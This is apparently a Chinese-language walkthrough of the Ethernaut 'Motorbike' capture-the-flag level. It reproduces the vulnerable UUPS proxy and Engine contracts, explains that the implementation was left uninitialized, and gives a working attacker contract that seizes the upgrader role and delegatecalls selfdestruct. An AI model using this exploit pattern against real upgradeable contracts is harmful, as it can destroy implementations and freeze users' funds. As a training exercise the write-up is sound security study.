25.Motobike

Motobike

题目

要求：将Engine合约摧毁(selfdestruct)

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

分析

• UUPS代理
• Motorbike在构造器中是delegatecall实现类Engine的initialize()，因此是初始化本合约中的内容，而没有初始化Engine，因此Engine的initialize()尚未被调用过。任何人都可以调用initialize()来设置upgrader
• UUPS的实现类地址不是存放在proxy中，而是存放在实现类中。我们调用upgradeToAndCall()修改实现类地址的时候，还会调用实现类的任意一个方法。
• 正常逻辑实现类地址应该是Engine的地址，或者由MotorBike来修改实现类地址。但是这里可以成为upgrader，可以将实现类地址修改成恶意地址
• 题目给的是instance地址，也就是motorbike合约的地址，实现类合约Engine的地址需要我们去slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc 获得。

解题

code

pragma solidity 0.6.7;

interface IEngine{
    function initialize() external;
    function upgradeToAndCall(address,bytes calldata) external payable ;
    function upgrader() external view returns(address);
}

contract attacker{
    // level instance's address: 0x4Eb81234e2A2b8Ec4C6bc1d4723aB609de5E0e39 proxy
    // Engine's address: getStorageAt(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
    //                   the result is 0x000000000000000000000000c09abaff6aeba3978121a923aa3a7d99f926b34f
    // so target = 0xc09abaff6aeba3978121a923aa3a7d99f926b34f
    function attack(IEngine target) external{
        target.initialize();
        target.upgradeToAndCall(
            address(this),
            abi.encodeWithSelector(this.kill.selector)
        );
    }

    function kill() external{
        selfdestruct(payable(address(0)));
    }
}

attack flow

successfully